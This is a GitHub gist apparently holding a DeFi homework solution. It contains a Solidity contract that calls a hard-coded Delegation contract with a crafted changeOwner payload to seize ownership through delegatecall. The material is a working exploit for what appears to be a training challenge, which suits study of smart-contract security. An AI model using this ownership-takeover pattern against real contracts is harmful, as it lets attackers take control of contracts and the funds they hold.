Skip to content

Instantly share code, notes, and snippets.

@Ice1187
Created November 5, 2023 16:39
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Ice1187/7bbc33ccfd8bfd1dffff3836ff19c956 to your computer and use it in GitHub Desktop.
Save Ice1187/7bbc33ccfd8bfd1dffff3836ff19c956 to your computer and use it in GitHub Desktop.
Defi Hw3
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "delegation.sol";
contract Exploit_Delegation {
Delegation delegation;
Delegate delegate;
constructor() {
delegation = Delegation(0x14BEc5f1E0113c2f0C32F10b939DE1699c3496b6);
delegate = Delegate(0x56e3B9a9137C5DfC846560f720a3B23567925721);
}
function exploit() public {
address(delegation).call(
abi.encodeCall(
Delegate.changeOwner, (
bytes32(0x000000000000000000000001c0538f7373975834b09174ae8db41fd6cc9e9056),
address(0xC0538F7373975834b09174ae8DB41fd6Cc9e9056)
)
)
);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment